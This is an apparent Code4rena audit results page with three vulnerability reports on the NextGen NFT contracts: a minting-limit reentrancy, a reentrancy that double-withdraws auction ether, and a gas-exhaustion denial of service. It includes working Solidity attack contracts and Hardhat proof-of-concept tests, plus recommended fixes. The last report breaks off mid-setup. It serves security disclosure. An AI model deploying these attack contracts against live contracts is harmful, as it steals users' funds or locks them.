NextGen - ke1caM's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L196-L254 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L189-L200 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L193

Vulnerability details

Summary

User can omit the _maxCollectionPurchases during the mint of the NFT and mint more than the max eligible mints for one user.

Vulnerability details

It is possible to bypass the _maxCollectionPurchases and mint more tokens than stated in this variable. User can create custom smart contract that will exploit this vulnerability by implementing ERC721Receiver fallback function and reenter to mint.

Let's breakdown the path of the transaction to see how this exploit is possible:

function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable {
        require(setMintingCosts[_collectionID] == true, "Set Minting Costs");
        uint256 col = _collectionID;
        address mintingAddress;
        uint256 phase;
        string memory tokData = _tokenData;
        if (block.timestamp >= collectionPhases[col].allowlistStartTime && block.timestamp <= collectionPhases[col].allowlistEndTime) {
            phase = 1;
            bytes32 node;
            if (_delegator != 0x0000000000000000000000000000000000000000) {
                bool isAllowedToMint;
                isAllowedToMint = dmc.retrieveGlobalStatusOfDelegation(_delegator, 0x8888888888888888888888888888888888888888, msg.sender, 1) || dmc.retrieveGlobalStatusOfDelegation(_delegator, 0x8888888888888888888888888888888888888888, msg.sender, 2);
                if (isAllowedToMint == false) {
                isAllowedToMint = dmc.retrieveGlobalStatusOfDelegation(_delegator, collectionPhases[col].delAddress, msg.sender, 1) || dmc.retrieveGlobalStatusOfDelegation(_delegator, collectionPhases[col].delAddress, msg.sender, 2);
                }
                require(isAllowedToMint == true, "No delegation");
                node = keccak256(abi.encodePacked(_delegator, _maxAllowance, tokData));
                require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, _delegator) + _numberOfTokens, "AL limit");
                mintingAddress = _delegator;
            } else {
                node = keccak256(abi.encodePacked(msg.sender, _maxAllowance, tokData));
                require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit");
                mintingAddress = msg.sender;
            }
            require(MerkleProof.verifyCalldata(merkleProof, collectionPhases[col].merkleRoot, node), 'invalid proof');
        } else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) {
            phase = 2;
            require(_numberOfTokens <= gencore.viewMaxAllowance(col), "Change no of tokens");
            require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");
            mintingAddress = msg.sender;
            tokData = '"public"';
        } else {
            revert("No minting");
        }
        uint256 collectionTokenMintIndex;
        collectionTokenMintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col) + _numberOfTokens - 1;
        require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply");
        require(msg.value >= (getPrice(col) * _numberOfTokens), "Wrong ETH");
        for(uint256 i = 0; i < _numberOfTokens; i++) {
            uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
            gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase);
        }
        collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value;
        // control mechanism for sale option 3
        if (collectionPhases[col].salesOption == 3) {
            uint timeOfLastMint;
            if (lastMintDate[col] == 0) {
                // for public sale set the allowlist the same time as publicsale
                timeOfLastMint = collectionPhases[col].allowlistStartTime - collectionPhases[col].timePeriod;
            } else {
                timeOfLastMint =  lastMintDate[col];
            }
            // uint calculates if period has passed in order to allow minting
            uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod;
            // users are able to mint after a day passes
            require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period");
            lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1));
        }
    }

After validating inputs we make a call to NextGenCore mint function:

gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase);

Here is the mint function in NextGenCore:

function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
        require(msg.sender == minterContract, "Caller is not the Minter Contract");
        collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
        if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
            if (phase == 1) {
                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
            } else {
                tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
            }
        }
    }

And now we call the _mintProcessing before incrementing the tokensMintedPerAddress. In _mintProcessing we call _safeMint which allows for a reentrant call because of onERC721Received function implemented in ERC721 standrad. Because of the reentrant call the tokensMintedPerAddress variable is incremented after the NFT are minted which allows user to mint as many NFTs as he wishes before tokensMintedPerAddress is updated.

function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal {
        tokenData[_mintIndex] = _tokenData;
        collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
        tokenIdsToCollectionIds[_mintIndex] = _collectionID;
        _safeMint(_recipient, _mintIndex);
    }

_safeMint(_recipient, _mintIndex);

PoC

In this PoC i will show that user can mint more NFT than _maxCollectionPurchases:

// SPDX-License-Identifier:MIT
pragma solidity 0.8.19;

import "./MinterContract.sol";

interface IERC721Receiver {
    /**
     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
     * by `operator` from `from`, this function is called.
     *
     * It must return its Solidity selector to confirm the token transfer.
     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be
     * reverted.
     *
     * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
     */
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

contract PocContract4 is IERC721Receiver {
    NextGenMinterContract public minter;
    uint256 public collectionId;
    uint256 public numberOfTokens;
    uint256 public maxAllowance;
    string public tokenData;
    address public mintTo;
    bytes32[] public merkleProof;
    address public delegator;
    uint256 public saltfun_o;

    uint256 public nftMinted;

    constructor(
        address _minterAddress,
        uint256 colId,
        uint256 numTok,
        uint256 maxAll,
        string memory tokD,
        bytes32[] memory merkle
    ) {
        minter = NextGenMinterContract(_minterAddress);
        collectionId = colId;
        numberOfTokens = numTok;
        maxAllowance = maxAll;
        tokenData = tokD;
        mintTo = address(this);
        merkleProof = merkle;
        delegator = address(this);
    }

    function mintTokens() public payable {
        minter.mint{value: msg.value}(
            collectionId,
            numberOfTokens,
            maxAllowance,
            tokenData,
            mintTo,
            merkleProof,
            delegator,
            saltfun_o
        );
    }

    function onERC721Received(
        address /*operator*/,
        address /*from*/,
        uint256 /*tokenId*/,
        bytes calldata /*data*/
    ) external returns (bytes4) {
        if (nftMinted < 10) {
            nftMinted = nftMinted + 1;
            mintTokens();
        }
        return 0x150b7a02;
    }
}

Add PocContract4 to smart-contracts folder inside hardhat folder.

Next modify the fixturesDeployment.js to add AuctionDemo and PocContract4 deployment functionality:

const auctionDemo = await ethers.getContractFactory("auctionDemo");
const hhAuctionDemo = await auctionDemo.deploy(
  await hhMinter.getAddress(),
  await hhCore.getAddress(),
  await hhAdmin.getAddress()
);

const PocContract4 = await ethers.getContractFactory("PocContract4");
const hhPocContract4 = await PocContract4.deploy(
  await hhMinter.getAddress(),
  1, // collectionId
  1, // number of tokens to mint
  0, // max allowance
  "TokenData", // token data
  ["0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870"] //merkle proof
);

Also modify the contracts variable in fixturesDeployment.js to be able to use this deplotments in tests:

const contracts = {
  hhAdmin: hhAdmin,
  hhCore: hhCore,
  hhDelegation: hhDelegation,
  hhMinter: hhMinter,
  hhRandomizer: hhRandomizer,
  hhRandoms: hhRandoms,
  hhAuctionDemo: hhAuctionDemo,
  hhPocContract4: hhPocContract4,
};

Add these at the top of the nextGen.test.js file (we need time to manipulate time in hardhat):

const {
  loadFixture,
  time,
} = require("@nomicfoundation/hardhat-toolbox/network-helpers");

Finally add the User can mint more tokens than he is eligible to due to reentrancy test to nextGen.test.js in test folder inside hardhat folder:

describe("User can mint more tokens than he is eligible to due to reentrancy", () => {
  // Set up contracts and signers
  before(async function () {
    ({ signers, contracts } = await loadFixture(fixturesDeployment));
  });

  // Create collection
  it("PoC", async () => {
    await contracts.hhCore.createCollection(
      "PoC Collection 1",
      "Poc Artist 1",
      "Poc testing",
      "www.poc-test.com",
      "POC",
      "https://ipfs.io/ipfs/hash/",
      "",
      ["poc"]
    );

    // Register admin
    await contracts.hhAdmin.registerCollectionAdmin(
      1,
      signers.addr1.address,
      true
    );

    // Set collection data
    // Max collection purchases is set to 2
    await contracts.hhCore.connect(signers.addr1).setCollectionData(
      1, // _collectionID
      signers.addr1.address, // _collectionArtistAddress
      2, // _maxCollectionPurchases
      10000, // _collectionTotalSupply
      0 // _setFinalSupplyTimeAfterMint
    );

    // Add minter
    await contracts.hhCore.addMinterContract(contracts.hhMinter);

    // Add randomizer
    await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer);

    // Set collection costs
    await contracts.hhMinter.setCollectionCosts(
      1, // _collectionID
      0, // _collectionMintCost
      0, // _collectionEndMintCost
      0, // _rate
      1, // _timePeriod
      1, // _salesOptions
      "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress
    );

    // Set collection phases
    await contracts.hhMinter.setCollectionPhases(
      1, // _collectionID
      1696931278, // _allowlistStartTime
      1696931278, // _allowlistEndTime
      1696931278, // _publicStartTime
      1796931278, // _publicEndTime
      "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot
    );

    // Increase time so that user can mint NFT in a public phase
    await time.increaseTo(1700000000);

    // Normal user mints 2 tokens which he is allowed to mint
    await contracts.hhMinter.connect(signers.addr2).mint(
      1, // _collectionID
      2, // _numberOfTokens
      0, // _maxAllowance
      '{"tdh": "100"}', // _tokenData
      signers.addr2.address, // _mintTo
      ["0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870"], // _merkleRoot
      signers.addr2.address, // _delegator
      2
    );

    // If normal user tries to mint more his transaction will be reverted
    await expect(
      contracts.hhMinter.connect(signers.addr2).mint(
        1, // _collectionID
        1, // _numberOfTokens
        0, // _maxAllowance
        '{"tdh": "100"}', // _tokenData
        signers.addr2.address, // _mintTo
        ["0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870"], // _merkleRoot
        signers.addr2.address, // _delegator
        2
      )
    ).to.be.revertedWith("Max");

    // We can see that user has minted 2 nft during public phase
    expect(
      await contracts.hhCore.retrieveTokensMintedPublicPerAddress(
        1,
        signers.addr2.address
      )
    ).to.be.equal(2);

    // Other user exploits the vulnerability to mint more than he is allowed to
    await contracts.hhPocContract4
      .connect(signers.addr3)
      .mintTokens({ value: 0 });

    // We can see that user minted 11 nft due to the reentracy vulnerability when he should be allowed to mint only two
    expect(
      await contracts.hhCore.retrieveTokensMintedPublicPerAddress(
        1,
        contracts.hhPocContract4.getAddress()
      )
    ).to.be.equal(11);

    // When user tries to do the same thing it reverts beacuse user has hit the limit of 2 nft's (while minting 11)
    await expect(
      contracts.hhPocContract4.connect(signers.addr3).mintTokens({ value: 0 })
    ).to.be.revertedWith("Max");

    expect(
      await contracts.hhCore.balanceOf(contracts.hhPocContract4.getAddress())
    ).to.be.equal(11);
  });
});

Run tests with npx hardhat test

Impact

User can bypass _maxCollectionPurchases and mint more nft than the limit.

Tools used

VScode, Manual Review, Hardhat

Recommendations

To fix this issue you can refactor the code to follow the solidity checks, effects, interactions pattern. You should update tokensMintedPerAddress before minting the nft. This will restrict users from reentering the mint function and bypassing the max nft minting limit. Also when external calls are made the Reentrancy guard could be implemented to make sure no reentrant calls can be made.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L134-L143 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124-L130

Vulnerability details

Summary

Malicious user can double withdraw his ether because of reentrancy vulnerability in AuctionDemo contract. He can create a contract that calls back to cancelAllBids or CancelBid after his funds were sent to him in claimAuction.

Vulnerability details

This exploit is possible due to the wrong validation of an auction end time and missing state udpate after sending funds to user.

Let's take a look at the require statement that allow for a malicious action:

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

Here we can see that the claimAuction can be called when block.timestamp is greater OR equal to auction end time.

require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

function cancelBid(uint256 _tokenid, uint256 index) public {
        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
        require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
        auctionInfoData[_tokenid][index].status = false;
        (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
        emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
    }

Here we can see that cancelBid can be called when block.timestamp is less OR equal to auction end time.

require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

In claimAuction function, before sending ether to user, there should be this line of code auctionInfoData[_tokenid][index].status = false;. This would not let user to call cancelBid because status of his auction info data would be set as false (which means that the funds were already sent).

Issues mentioned above allow user to call cancelBid after his funds were sent in claimAuction.

PoC

Here is a contract that could be used to exploit this vulnerability:

// SPDX-License-Identifier:MIT
pragma solidity 0.8.19;

import "./AuctionDemo.sol";

contract PocContract2 {
    auctionDemo public auction;
    uint256 callOnce = 0;

    constructor(address _auction) {
        auction = auctionDemo(_auction);
    }

    function bid(uint256 _tokenId) public payable {
        auction.participateToAuction{value: msg.value}(_tokenId);
    }

    receive() external payable {
        if (callOnce == 0) {
            callOnce = 1;
            auction.cancelAllBids(20_000_000_000);
        } else {
            return;
        }
    }
}

Add the contract from above to the smart-contracts folder inside the hardhat folder.

Next add these lines of code to the fixturesDeployment.js in scripts folder inside hardhat folder:

const auctionDemo = await ethers.getContractFactory("auctionDemo");
const hhAuctionDemo = await auctionDemo.deploy(
  await hhMinter.getAddress(),
  await hhCore.getAddress(),
  await hhAdmin.getAddress()
);

const PocContract2 = await ethers.getContractFactory("PocContract2");
const hhPocContract2 = await PocContract2.deploy(
  await hhAuctionDemo.getAddress()
);

Also modify the contracts variable in fixturesDeployment.js to be able to use this deplotments in tests:

const contracts = {
  hhAdmin: hhAdmin,
  hhCore: hhCore,
  hhDelegation: hhDelegation,
  hhMinter: hhMinter,
  hhRandomizer: hhRandomizer,
  hhRandoms: hhRandoms,
  hhAuctionDemo: hhAuctionDemo,
  hhPocContract2: hhPocContract2,
};

Add these at the top of the nextGen.test.js file (we need time to manipulate time in hardhat):

const {
  loadFixture,
  time,
} = require("@nomicfoundation/hardhat-toolbox/network-helpers");

Finally add the User can double withdraw his ether at the end of the auction test to nextGen.test.js file:

describe("User can double withdraw his ether at the end of the auction", () => {
  // Set up contracts and signers
  before(async function () {
    ({ signers, contracts } = await loadFixture(fixturesDeployment));
  });
  // Create collection 1
  it("PoC", async () => {
    await contracts.hhCore.createCollection(
      "PoC Collection 1",
      "Poc Artist 1",
      "Poc testing",
      "www.poc-test.com",
      "POC",
      "https://ipfs.io/ipfs/hash/",
      "",
      ["poc"]
    );
    // Create collection 2
    await contracts.hhCore.createCollection(
      "PoC Collection 2",
      "Poc Artist 2",
      "Poc testing 2",
      "www.poc2-test.com",
      "POC2",
      "https://ipfs.io/ipfs/hash/",
      "",
      ["poc2"]
    );

    // Register admin to collection 1
    await contracts.hhAdmin.registerCollectionAdmin(
      1,
      signers.addr1.address,
      true
    );

    // Register admin to collection 2
    await contracts.hhAdmin.registerCollectionAdmin(
      2,
      signers.addr1.address,
      true
    );

    // Set collection 1 data
    await contracts.hhCore.connect(signers.addr1).setCollectionData(
      1, // _collectionID
      signers.addr1.address, // _collectionArtistAddress
      2, // _maxCollectionPurchases
      10000, // _collectionTotalSupply
      0 // _setFinalSupplyTimeAfterMint
    );

    // Set collection 2 data
    await contracts.hhCore.connect(signers.addr1).setCollectionData(
      2, // _collectionID
      signers.addr1.address, // _collectionArtistAddress
      2, // _maxCollectionPurchases
      10000, // _collectionTotalSupply
      0 // _setFinalSupplyTimeAfterMint
    );

    // Add minter
    await contracts.hhCore.addMinterContract(contracts.hhMinter);

    // Add randomizer col 1
    await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer);

    // Add randomizer col 2
    await contracts.hhCore.addRandomizer(2, contracts.hhRandomizer);

    // Set collection 1 costs
    await contracts.hhMinter.setCollectionCosts(
      1, // _collectionID
      0, // _collectionMintCost
      0, // _collectionEndMintCost
      0, // _rate
      1, // _timePeriod
      1, // _salesOptions
      "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress
    );

    // Set collection 2 costs
    await contracts.hhMinter.setCollectionCosts(
      2, // _collectionID
      0, // _collectionMintCost
      0, // _collectionEndMintCost
      0, // _rate
      1, // _timePeriod
      1, // _salesOptions
      "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress
    );

    // Set collection 1 phases
    await contracts.hhMinter.setCollectionPhases(
      1, // _collectionID
      1696931278, // _allowlistStartTime
      1696931278, // _allowlistEndTime
      1696931278, // _publicStartTime
      1796931278, // _publicEndTime
      "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot
    );

    // Set collection 2 phases
    await contracts.hhMinter.setCollectionPhases(
      2, // _collectionID
      1696931278, // _allowlistStartTime
      1696931278, // _allowlistEndTime
      1696931278, // _publicStartTime
      1796931278, // _publicEndTime
      "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot
    );

    // Mint and auction a token from collection 1
    await contracts.hhMinter.mintAndAuction(
      await signers.owner.address,
      "tokenData",
      0,
      1,
      1796931278
    );

    // Mint and auction a token from collection 2
    await contracts.hhMinter.mintAndAuction(
      await signers.owner.address,
      "tokenData",
      0,
      2,
      1796931278
    );

    // Owner approves auction demo to transfer his nft from collection 1
    await contracts.hhCore
      .connect(signers.owner)
      .approve(contracts.hhAuctionDemo.getAddress(), 10_000_000_000);

    // Owner approves auction demo to transfer his nft from collection 2
    await contracts.hhCore
      .connect(signers.owner)
      .approve(contracts.hhAuctionDemo.getAddress(), 20_000_000_000);

    // User 1 bids 1 ether to buy nft from collection 1
    await contracts.hhAuctionDemo
      .connect(signers.addr1)
      .participateToAuction(10_000_000_000, {
        value: ethers.parseEther("1"),
      });

    // User 2 bids 2 ether to buy nft from collection 1
    await contracts.hhAuctionDemo
      .connect(signers.addr2)
      .participateToAuction(10_000_000_000, {
        value: ethers.parseEther("2"),
      });

    // User 3 bids 3 ether to buy nft from collection 2 using his malicious contract

    await contracts.hhPocContract2.connect(signers.addr3).bid(20_000_000_000, {
      value: ethers.parseEther("3"),
    });

    // User 2 bids 4 ether to buy nft from collection 2

    await contracts.hhAuctionDemo
      .connect(signers.addr2)
      .participateToAuction(20_000_000_000, {
        value: ethers.parseEther("4"),
      });

    // Increase time to meet the auction end time
    // Setting time to one second less than the actual auction end time because hardhat increases block.timestamp every transaction by one second
    await time.increaseTo(1796931277);

    // 10 ether in auction contract
    expect(
      ethers.formatEther(
        await ethers.provider.getBalance(contracts.hhAuctionDemo.getAddress())
      )
    ).to.equal("10.0");

    // Winner of the auction for token Id 20_000_000_000 (user 2) calls claimAuction to receive his nft and to refund bids to other users
    await contracts.hhAuctionDemo
      .connect(signers.addr2)
      .claimAuction(20_000_000_000);

    // Auction Demo has 0 ether (should have 3 for other users withdrawals)
    expect(
      ethers.formatEther(
        await ethers.provider.getBalance(contracts.hhAuctionDemo.getAddress())
      )
    ).to.equal("0.0");

    // User's malicious contract has 6 ether after reentrant call (should have received only 3 ether)
    expect(
      ethers.formatEther(
        await ethers.provider.getBalance(contracts.hhPocContract2.getAddress())
      )
    ).to.equal("6.0");

    // Winner of the auction for token id 10_000_000_000 call claimAuction
    // This will not revert because return value of call is not checked, instead we can check users balances after this call
    await contracts.hhAuctionDemo
      .connect(signers.addr2)
      .claimAuction(10_000_000_000);

    // We can see that user's balance is above 9998 ether, not 9999 (1 ether missing, minus gas fees)
    console.log(
      ethers.formatEther(
        await ethers.provider.getBalance(signers.addr1.address)
      )
    );
    // We can see that user's balance is above 9993 ether, not 9997 (2 ether missing and 4 ether paid for NFT, minus gas fees)
    console.log(
      ethers.formatEther(
        await ethers.provider.getBalance(signers.addr2.address)
      )
    );
    // Auction contract ether balance is zero because 3 ether was stolen by malicious contract
    expect(
      ethers.formatEther(
        await ethers.provider.getBalance(contracts.hhAuctionDemo.getAddress())
      )
    ).to.equal("0.0");
  });
});

Run tests with npx hardhat test

Further explenation

As we can see from the PoC above malicious user can steal other users ether. The situation above is just one of many examples that user can exploit this system for profit. This is possible because the faulty require statements that allow user to cancel the bid after his funds were sent to him in claim auction.

Another way to exploit AuctionDemo is to use the onERC721Received fallback function. It can be used to claim the ether of other users by calling cancelBid after receiving the NFT. Of course to exploit it the contract has to have enough ether to cover attackers cancel, owner of the NFT and other users of this auction payments. As a result the winner of the NFT auction will not only receive the NFT but also will receive his ether back.

Impact

Malicious user can steal other user's ether which results in a loss of funds for the user.

Tools used

VScode, Manual Review, Hardhat

Recommendations

This issue can be fixed in 2 ways. I think that it is the best to combine both of the solutions to ensure that this contract is safe and secure.

There is an alternative way which I will mention at the end.

1. Change the require statements that check for the auction end time. You can change it that it is possible for a user to only claim his funds at the deadline (auction end time) or only to cancel his bid at the deadline. It might look like this:

Here we change block.timestamp <= minter.getAuctionEndTime(_tokenid) to block.timestamp < minter.getAuctionEndTime(_tokenid).

function cancelBid(uint256 _tokenid, uint256 index) public {
        require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");
        require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
        auctionInfoData[_tokenid][index].status = false;
        (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
        emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
    }

Here we change block.timestamp <= minter.getAuctionEndTime(_tokenid) to block.timestamp < minter.getAuctionEndTime(_tokenid).

function cancelAllBids(uint256 _tokenid) public {
        require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");
        for (uint256 i=0; i<auctionInfoData[_tokenid].length; i++) {
            if (auctionInfoData[_tokenid][i].bidder == msg.sender && auctionInfoData[_tokenid][i].status == true) {
                auctionInfoData[_tokenid][i].status = false;
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit CancelBid(msg.sender, _tokenid, i, success, auctionInfoData[_tokenid][i].bid);
            } else {}
        }
    }

and here we do not change anything in this function because we changed it in cancelBid and cancelAllBids, it can be done the other way around.

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

2. Add this line of code before call in the else if statement.

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                auctionInfoData[_tokenid][i].status = false; // <---------------------------------------
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

This will protect from reentrancy the same as in the cancelBid and cancelAllBids.

Alternative: refactor the withdrawlal mechanism to follow pull over push solidity pattern. This will ensure that every user can withdraw their funds separately and no one can affect other's withdrawal.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L57-L61

Vulnerability details

Summary

User can call participateToAuction in AuctionDemo with malicious contract which won't allow users to receive their ether. Attacker contract will consume all the gas and no funds will be sent to users (DoS - Denial of Service).

Vulnerability details

After the auction concludes the users can receive their funds when winner of the auction or the admin calls claimAuction. The transaciton will run out of gas and will be terminated because of user's smart contract. Users will not receive their funds back and the winner will not receive their nft.

PoC

An example contract that the attacker will use could look like this:

// SPDX-License-Identifier:MIT
pragma solidity 0.8.19;

import "./AuctionDemo.sol";

contract PocContract3 {
    auctionDemo public auction;
    uint256 public dos;

    constructor(address _auction) {
        auction = auctionDemo(_auction);
    }

    function bid(uint256 _tokenId) public payable {
        auction.participateToAuction{value: msg.value}(_tokenId);
    }

    receive() external payable {
        while (true) {
            dos = 1;
            dos = 0;
        }
    }
}

The infinite loop inside the receive function will be called after the attacker's contract will be called with call inside the loop in claimAuction function. This will cause DoS by running out of gas.

Add the contract from above to the smart-contracts folder inside the hardhat folder.

Next add these lines of code to the fixturesDeployment.js in scripts folder inside hardhat folder:

const auctionDemo = await ethers.getContractFactory("auctionDemo");
const hhAuctionDemo = await auctionDemo.deploy(
  await hhMinter.getAddress(),
  await hhCore.getAddress(),
  await hhAdmin.getAddress()
);

const PocContract3 = await ethers.getContractFactory("PocContract3");
const hhPocContract3 = await PocContract3.deploy(
  await hhAuctionDemo.getAddress()
);

Modify the contracts variable inside fixturesDeployment.js:

const contracts = {
  hhAdmin: hhAdmin,
  hhCore: hhCore,
  hhDelegation: hhDelegation,
  hhMinter: hhMinter,
  hhRandomizer: hhRandomizer,
  hhRandoms: hhRandoms,
  hhAuctionDemo: hhAuctionDemo,
  hhPocContract3: hhPocContract3,
};

Add these at the top of the nextGen.test.js file (we need time to manipulate time in hardhat):

const {
  loadFixture,
  time,
} = require("@nomicfoundation/hardhat-toolbox/network-helpers");

